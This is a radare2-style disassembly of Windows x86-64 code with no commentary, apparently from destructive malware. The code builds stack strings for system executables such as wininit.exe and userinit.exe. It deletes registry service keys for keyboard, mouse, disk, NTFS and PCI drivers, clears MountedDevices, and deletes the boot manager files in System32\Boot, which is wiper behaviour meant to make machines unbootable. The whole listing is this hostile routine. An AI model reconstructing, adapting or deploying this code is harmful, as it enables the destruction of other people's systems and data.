je 0x281b7915a
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
mov r9d, 0x6c69
mov qword [rsp + 0x550], rsi
mov rdx, rsi
mov rcx, 0xffffffff80000000
mov dword [rsp + 0x560], 0x66737973
mov word [rsp + 0x564], r9w
mov byte [rsp + 0x566], 0x65
mov qword [rsp + 0x558], 7
mov byte [rsp + 0x567], 0
call qword [0x281ccf1b0]
mov qword [rsp + 0x20], r13
mov r14, qword [rsp + 0x550]
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SoftwareClasses
mov rcx, 0xffffffff80000001
call qword [0x281ccf1b8]
test eax, eax
jne 0x281b791e7
mov rcx, qword [rsp + 0x440]
mov rdx, r14
call qword [0x281ccf1b0]
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b79205
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
movabs rax, 0x2e74696e696e6977
mov r8d, 0x7865
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x560], rax
mov word [rsp + 0x568], r8w
mov byte [rsp + 0x56a], 0x65
mov qword [rsp + 0x558], 0xb
mov byte [rsp + 0x56b], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b79270
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
movabs rax, 0x74696e6972657375
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x560], rax
mov dword [rsp + 0x568], 0x6578652e
mov qword [rsp + 0x558], 0xc
mov byte [rsp + 0x56c], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b792cf
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
mov ecx, 0x6578
movabs rax, 0x652e66666f676f6c
mov qword [rsp + 0x550], rsi
mov word [rsp + 0x568], cx
mov rcx, r12
mov qword [rsp + 0x560], rax
mov qword [rsp + 0x558], 0xa
mov byte [rsp + 0x56a], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b79330
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
mov edx, 0x7865
mov rcx, r12
movabs rax, 0x2e49556e6f676f6c
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x560], rax
mov word [rsp + 0x568], dx
mov byte [rsp + 0x56a], 0x65
mov qword [rsp + 0x558], 0xb
mov byte [rsp + 0x56b], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b79399
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
movabs rax, 0x2e746c6375617577
mov rcx, r12
mov qword [rsp + 0x550], rsi
mov qword [rsp + 0x560], rax
mov eax, 0x7865
mov word [rsp + 0x568], ax
mov byte [rsp + 0x56a], 0x65
mov qword [rsp + 0x558], 0xb
mov byte [rsp + 0x56b], 0
call fcn.281b73920
mov rcx, qword [rsp + 0x550]
cmp rcx, rsi
je 0x281b79402
mov rax, qword [rsp + 0x560]
lea rdx, [rax + 1]
call fcn.281c3b050
lea r8, str.mouclass
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.281b714e0
lea r8, str.mouhid
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.281b714e0
lea r8, str.mountmgr
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.281b714e0
lea r8, str.kbdclass
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.281b714e0
lea r8, str.kbdhid
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.281b714e0
lea r14, [rsp + 0x110]
mov rdi, qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, 0x104
mov rcx, r14
call rdi
mov rsi, qword [sym.imp.SHLWAPI.dll_PathCombineA]
lea r8, str.WindowsSystem32BootEFI_bootmgr.efi
mov rdx, r14
mov rcx, r14
call rsi
mov rbx, qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, r14
call rbx
lea r14, [rsp + 0x220]
mov edx, 0x104
mov rcx, r14
call rdi
lea r8, str.WindowsSystem32BootPCAT_bootmgr
mov rdx, r14
mov rcx, r14
call rsi
mov rcx, r14
call rbx
lea r14, [rsp + 0x330]
mov edx, 0x104
mov rcx, r14
call rdi
lea r8, str.WindowsSystem32BootDVDEFI
mov rdx, r14
mov rcx, r14
call rsi
mov rcx, r14
call rbx
mov edx, 0x104
mov rcx, r13
call rdi
lea r8, str.WindowsSystem32BootDVDPCAT
mov rdx, r13
mov rcx, r13
call rsi
mov rcx, r13
call rbx
mov edx, 0x104
mov rcx, r12
call rdi
lea r8, str.WindowsSystem32System32Boot
mov rdx, r12
mov rcx, r12
call rsi
mov rcx, r12
call rbx
lea r8, str.MountedDevices
lea rdx, str.SYSTEM
mov rcx, 0xffffffff80000002
call fcn.281b714e0
lea r8, str.disk
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.281b714e0
lea r8, str.hidusb
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.281b714e0
lea r8, str.hidclass
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.281b714e0
lea r8, str.dd70bc80_ef44_421b_8ac3_cd31da613a4e
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionWINEVTPublishers
mov rcx, 0xffffffff80000002
call fcn.281b714e0
lea r8, str.ntfs
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.281b714e0
lea r8, [0x281c403a9]
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.281b714e0
lea r8, str.pciide
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.281b714e0
lea r8, str.pciidex
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.281b714e0
lea r8, str.processr
lea rdx, str.SYSTEMControlSet002_services
mov rcx, 0xffffffff80000002
call fcn.281b714e0
mov rcx, qword [rsp + 0x40]
call fcn.281c19b30
cmp qword [rsp + 0x60], 0
jne 0x281b797b3
cmp qword [rsp + 0x58], 0
jne 0x281b797b3
lea rax, [rsp + 0x100]
jmp 0x281b79683
mov rax, rdx
cmp qword [rax], 0
jne 0x281b797b3
lea rdx, [rax - 8]
cmp rbp, rax
jne 0x281b79680
mov eax, 0x72
jmp 0x281b796a5
mov eax, 0x77f
add rsp, 0x668
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
test rbx, rbx
je 0x281b78049
jmp 0x281b79772
add rdi, 0x28
cmp r14, rdi
jne 0x281b780d0
jmp 0x281b78167
test rbx, rbx
jne 0x281b797d0
mov rax, rsi
jmp 0x281b7811c
xor r8d, r8d
mov rdx, r15
mov rcx, r12
call fcn.281c1d440
mov qword [rsp + 0x550], rax
mov rcx, rax
mov rax, qword [rsp + 0x440]
mov qword [rsp + 0x560], rax
mov r8, rbx
mov rdx, r13
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x440]
mov rax, qword [rsp + 0x550]
jmp 0x281b7811c
lea rcx, [r13 + 8]
xor r8d, r8d
mov rdx, r12
call fcn.281c1d440
mov qword [r13 + 8], rax
mov rcx, rax
mov rax, qword [rsp + 0x550]
mov qword [r13 + 0x18], rax
mov r8, rbx
mov rdx, r15
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x550]
mov rcx, qword [r13 + 8]
jmp 0x281b78049
call fcn.281c36b30
lea rcx, section..rdata
call fcn.281c3c580
lea rcx, section..rdata
call fcn.281c3c580
mov rcx, rsi
jmp 0x281b79729